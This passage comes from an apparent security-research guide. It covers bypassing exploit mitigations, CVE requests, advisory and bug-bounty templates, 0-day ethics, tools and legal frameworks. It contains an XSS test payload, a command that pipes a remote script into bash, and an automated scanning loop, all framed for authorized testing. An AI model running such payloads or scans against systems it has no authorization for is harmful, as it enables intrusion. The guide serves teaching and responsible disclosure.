log.success(f"Full canary: {canary.hex()}")

DEP/NX (Data Execution Prevention)

Detection:

checksec --file=./binary
# Output:
# NX: NX enabled

Bypass: Use ROP (Return-Oriented Programming) - execute existing code instead of injecting shellcode.

ASLR (Address Space Layout Randomization)

Check if enabled:

# Linux
cat /proc/sys/kernel/randomize_va_space
# 0 = Disabled
# 1 = Partial (stack/heap/libraries)
# 2 = Full (includes PIE)

Bypass techniques:

  1. Information leak: Leak address to calculate base
  2. Brute-force: On 32-bit systems (limited entropy)
  3. Partial overwrite: Overwrite only lower bytes (address space reuse)

Information leak bypass:

# Leak stack/libc address
# Then calculate base and build exploit

PIE (Position Independent Executable)

Detection:

checksec --file=./binary
# Output:
# PIE: PIE enabled

Bypass: Leak binary address to calculate base, similar to ASLR bypass.

RELRO (Relocation Read-Only)

Types:

  • Partial RELRO: GOT is writable
  • Full RELRO: GOT is read-only after initialization

Detection:

checksec --file=./binary
# Output:
# RELRO: Full RELRO

Partial RELRO bypass: Overwrite GOT entries to redirect execution.

Full RELRO: Must find alternative targets (vtables, function pointers).

Control Flow Integrity (CFI)

Bypass techniques:

  • Find valid CFI targets that can be abused
  • Exploit data-only attacks (no control flow hijacking needed)
  • Use return-oriented programming within valid targets

CVE Process & Disclosure

CVE Request Process

1. Determine if vulnerability deserves CVE:

  • Affects security
  • Affects multiple users
  • Not already assigned CVE
  • Fixed or in process of being fixed

2. Request CVE from CNA (CVE Numbering Authority):

MITRE (general software):

Email: cve-assign@mitre.org

Subject: CVE Request - [Product Name] [Vulnerability Type]

Body:
Product: [Name and version]
Vendor: [Vendor name]
Vulnerability Type: [Buffer overflow, XSS, etc.]
Attack Vector: [Remote, local, etc.]
Impact: [Code execution, DoS, info disclosure]
Affected Versions: [Specific versions]
Fixed Version: [Version with fix]

Description:
[Detailed technical description]

Proof of Concept:
[Minimal PoC to demonstrate]

Disclosure Timeline:
Reported to vendor: YYYY-MM-DD
Vendor response: YYYY-MM-DD
Fix available: YYYY-MM-DD

GitHub Security Advisories (for GitHub projects):

  1. Navigate to repository → Security → Advisories
  2. Click "New draft security advisory"
  3. Fill in details (affected versions, severity, description)
  4. Request CVE automatically

3. Receive CVE ID:

  • Format: CVE-YYYY-NNNNN (e.g., CVE-2024-12345)
  • Reserved before public disclosure
  • Published after disclosure

4. CVSS Scoring:

Calculate severity using CVSS calculator: https://www.first.org/cvss/calculator/3.1

Example scoring:

  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality: High (C:H)
  • Integrity: High (I:H)
  • Availability: High (A:H)

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical 9.8)

Responsible Disclosure Timeline

Standard 90-day disclosure:

Day 0:   Discover vulnerability
Day 1-3: Verify and create PoC
Day 5: Report to vendor (encrypted email preferred)
Day 7: Vendor acknowledges receipt
Day 30: Vendor provides fix timeline
Day 60: Vendor releases patch (if ready)
Day 90: Public disclosure (coordinated)

Accelerated disclosure (active exploitation):

Day 0:  Discover 0-day being exploited in wild
Day 1: Immediate notification to vendor
Day 7: Public disclosure if no patch
(users need to protect themselves)

Writing Security Advisories

Advisory template:

# Security Advisory: [Product] [Vulnerability Type]

## Summary
[One-paragraph description of vulnerability and impact]

## CVE ID
CVE-YYYY-NNNNN

## Severity
Critical / High / Medium / Low (CVSS X.X)

## Affected Versions
- Product X.X.X through X.X.X

## Fixed Versions
- Product X.X.X and later

## Vulnerability Details
[Technical description of vulnerability]

### Vulnerability Type
[Buffer overflow, SQL injection, etc.]

### Attack Vector
[Remote/Local, network/adjacent/local]

### Attack Complexity
[Low/High - prerequisites for exploitation]

## Proof of Concept
[Minimal code to demonstrate vulnerability]

## Impact
- Remote code execution
- Authentication bypass
- Information disclosure
- Denial of service

## Mitigation
1. Upgrade to version X.X.X or later
2. If upgrade not possible:
- Apply workaround: [description]
- Disable feature: [description]

## Timeline
- YYYY-MM-DD: Vulnerability discovered
- YYYY-MM-DD: Reported to vendor
- YYYY-MM-DD: Vendor confirmed issue
- YYYY-MM-DD: CVE assigned
- YYYY-MM-DD: Patch released
- YYYY-MM-DD: Public disclosure

## Credits
Discovered by: [Your Name / Organization]

## References
- [Link to vendor advisory]
- [Link to patch]
- [Link to CVE entry]

Bug Bounty Programs

Top Bug Bounty Platforms

PlatformFocusWebsite
HackerOneGeneralhttps://www.hackerone.com/
BugcrowdGeneralhttps://www.bugcrowd.com/
SynackPrivate programshttps://www.synack.com/
IntigritiEuropean companieshttps://www.intigriti.com/
YesWeHackEuropean companieshttps://www.yeswehack.com/
Google VRPGoogle productshttps://bughunters.google.com/
Microsoft MSRCMicrosoft productshttps://www.microsoft.com/en-us/msrc/bounty

Bug Bounty Best Practices

1. Read the scope carefully:

✅ In Scope:
- *.example.com
- mobile.example.com
- api.example.com

❌ Out of Scope:
- test.example.com
- blog.example.com (third-party)
- Physical security testing
- Social engineering

2. Understand severity ratings:

Critical ($$$$$):
- Remote code execution
- Authentication bypass
- SQL injection with data access
- SSRF with cloud metadata access

High ($$$$):
- Stored XSS
- Privilege escalation
- IDOR with PII access

Medium ($$$):
- Reflected XSS
- CSRF on sensitive actions

Low ($$):
- Self-XSS
- Clickjacking without impact

3. Write quality reports:

Good report structure:

## Summary
[One sentence describing vulnerability and impact]

## Description
[Detailed explanation of what the vulnerability is]

## Steps to Reproduce
1. Navigate to https://example.com/vulnerable-page
2. Enter payload in input field: <script>alert(1)</script>
3. Submit form
4. Observe XSS execution

## Proof of Concept
[Screenshot/video demonstrating vulnerability]

[Code snippet if applicable]

## Impact
An attacker can:
- Steal user session cookies
- Perform actions as victim user
- Deface the website

## Remediation
1. Sanitize user input before displaying
2. Implement Content-Security-Policy header
3. Use httpOnly and secure flags on cookies

## Supporting Material
- Browser: Chrome 120.0.6099.109
- Operating System: Ubuntu 22.04
- Video: [link to PoC video]

4. Automation for efficiency:

# Subdomain enumeration
subfinder -d target.com | httpx | nuclei

# Automated scanning
nuclei -l targets.txt -t ~/nuclei-templates/

# Continuous monitoring
while true; do
subfinder -d target.com | httpx -silent | \
nuclei -silent -t ~/nuclei-templates/cves/ | \
notify -silent
sleep 3600
done

Common Bounty Mistakes to Avoid

❌ Don't:

  • Test out-of-scope assets
  • Perform denial-of-service attacks
  • Access other users' data (beyond PoC)
  • Spam duplicate reports
  • Demand specific bounty amounts
  • Share vulnerability publicly before resolution

✅ Do:

  • Follow scope and rules
  • Provide clear reproduction steps
  • Include impact analysis
  • Be professional and patient
  • Help vendor understand and fix issue

0-Day Research Ethics

Responsible 0-Day Research

Ethical guidelines:

  1. Discovery: Finding unknown vulnerabilities is legitimate security research
  2. Disclosure: Report to vendor for patching before public disclosure
  3. No harm: Don't exploit vulnerability against real users
  4. No sale: Don't sell 0-days to malicious actors
  5. Protect users: Prioritize user safety over researcher fame

Unethical practices:

  • ❌ Selling 0-days to offensive contractors without disclosure to vendor
  • ❌ Exploiting 0-days for financial gain
  • ❌ Releasing 0-days publicly without vendor notification
  • ❌ Threatening vendors for payment

Gray areas (debatable):

  • ⚠️ Coordinating with government agencies for defensive purposes
  • ⚠️ Disclosing after vendor ignores repeated reports (last resort)
  • ⚠️ Participating in government offensive programs (legal but controversial)

0-Day Market Economics

Legitimate acquisition:

  • Vendors: Purchase to fix their own products
  • Governments: Offensive/defensive cyber capabilities (controversial)
  • Bug bounties: Ethical acquisition with public disclosure

Illegitimate market:

  • Criminal groups purchasing for financial cybercrime
  • State-sponsored APTs for espionage/warfare
  • Zero-day brokers selling to highest bidder

Pricing (rough estimates):

  • iOS/Android remote code execution: $500K - $2M
  • Windows kernel exploit: $200K - $500K
  • Chrome/Firefox RCE: $100K - $300K
  • Popular web app 0-day: $5K - $50K

Note: Bug bounties typically pay far less than gray market, but are ethical and legal.


Tools Reference

Essential Tools

ToolPurposeInstallation
GDB + GEFDebuggingbash -c "$(curl -fsSL https://gef.blah.cat/sh)"
pwntoolsExploit developmentpip install pwntools
AFL++Fuzzingsudo apt install afl++
radare2Binary analysissudo apt install radare2
GhidraReverse engineeringhttps://ghidra-sre.org/
IDA ProDisassemblerhttps://hex-rays.com/ida-pro/
Binary NinjaBinary analysishttps://binary.ninja/
checksecSecurity checksudo apt install checksec

Fuzzing Tools

ToolTypeWebsite
AFL++Coverage-guidedhttps://github.com/AFLplusplus/AFLplusplus
LibFuzzerCoverage-guidedhttps://llvm.org/docs/LibFuzzer.html
HonggfuzzFeedback-drivenhttps://github.com/google/honggfuzz
RadamsaMutation-basedhttps://gitlab.com/akihe/radamsa
BoofuzzNetwork protocolhttps://github.com/jtpereyda/boofuzz

Sanitizers (Debugging)

# AddressSanitizer (detect memory errors)
gcc -fsanitize=address -g program.c -o program

# UndefinedBehaviorSanitizer (detect undefined behavior)
gcc -fsanitize=undefined -g program.c -o program

# MemorySanitizer (detect uninitialized reads)
clang -fsanitize=memory -g program.c -o program

# ThreadSanitizer (detect race conditions)
gcc -fsanitize=thread -g program.c -o program

United States:

  • Computer Fraud and Abuse Act (CFAA) - 18 U.S.C. § 1030
    • Accessing computers without authorization is illegal
    • Exceeding authorized access is illegal
    • Penalties: Fines and imprisonment

European Union:

  • Cybercrime Directive - Directive 2013/40/EU
  • GDPR - Data protection during research

United Kingdom:

  • Computer Misuse Act 1990
    • Unauthorized access (Section 1)
    • Unauthorized modification (Section 3)

Bug bounty safe harbor:

Many programs include safe harbor language:

"We will not pursue legal action against researchers who:
- Make good faith effort to avoid privacy violations
- Only access data necessary for vulnerability demonstration
- Do not perform attacks that degrade service quality
- Report vulnerabilities promptly
- Keep vulnerability information confidential until fix is available"

Importance: Provides legal protection for good-faith security research.

Ethical Research Checklist

Before testing:

  • Have written authorization (scope, rules of engagement)
  • Understand legal boundaries
  • Have appropriate insurance (if applicable)
  • Know emergency contact for responsible disclosure

During research:

  • Only test authorized systems
  • Minimize impact (no DoS, don't access unnecessary data)
  • Document findings thoroughly
  • Protect sensitive data discovered

After discovery:

  • Report vulnerability to vendor promptly
  • Provide reasonable time for vendor to fix (90 days standard)
  • Don't publicly disclose until fix is available
  • Request CVE for tracking

  • Reverse-Engineering.md - Binary analysis and disassembly techniques
  • Web-Application-Security.md - Web application vulnerability testing
  • Cryptography-Analysis.md - Cryptographic vulnerability research
  • Firmware-Reverse-Engineering.md - Embedded device security
  • ../OSINT/Techniques/sop-legal-ethics.md - Legal framework for security research

Appendix: Vulnerability Classification

CWE (Common Weakness Enumeration)

CWE IDNameCategory
CWE-119Buffer OverflowMemory Corruption
CWE-79Cross-Site ScriptingInjection
CWE-89SQL InjectionInjection
CWE-416Use After FreeMemory Corruption
CWE-787Out-of-bounds WriteMemory Corruption
CWE-20Improper Input ValidationInput Validation
CWE-125Out-of-bounds ReadInformation Disclosure
CWE-78OS Command InjectionInjection
CWE-190Integer OverflowNumeric Errors
CWE-862Missing AuthorizationAccess Control

OWASP Top 10 Mapping

OWASP CategoryRelated CWEs
A01:2021 - Broken Access ControlCWE-22, CWE-284, CWE-639
A02:2021 - Cryptographic FailuresCWE-259, CWE-327, CWE-916
A03:2021 - InjectionCWE-79, CWE-89, CWE-94
A04:2021 - Insecure DesignCWE-209, CWE-256, CWE-501
A05:2021 - Security MisconfigurationCWE-16, CWE-611
A06:2021 - Vulnerable ComponentsCWE-1035, CWE-1104
A07:2021 - Authentication FailuresCWE-287, CWE-384
A08:2021 - Software Integrity FailuresCWE-502, CWE-829
A09:2021 - Logging FailuresCWE-117, CWE-223
A10:2021 - SSRFCWE-918

Analysis:

Pentesting & Security: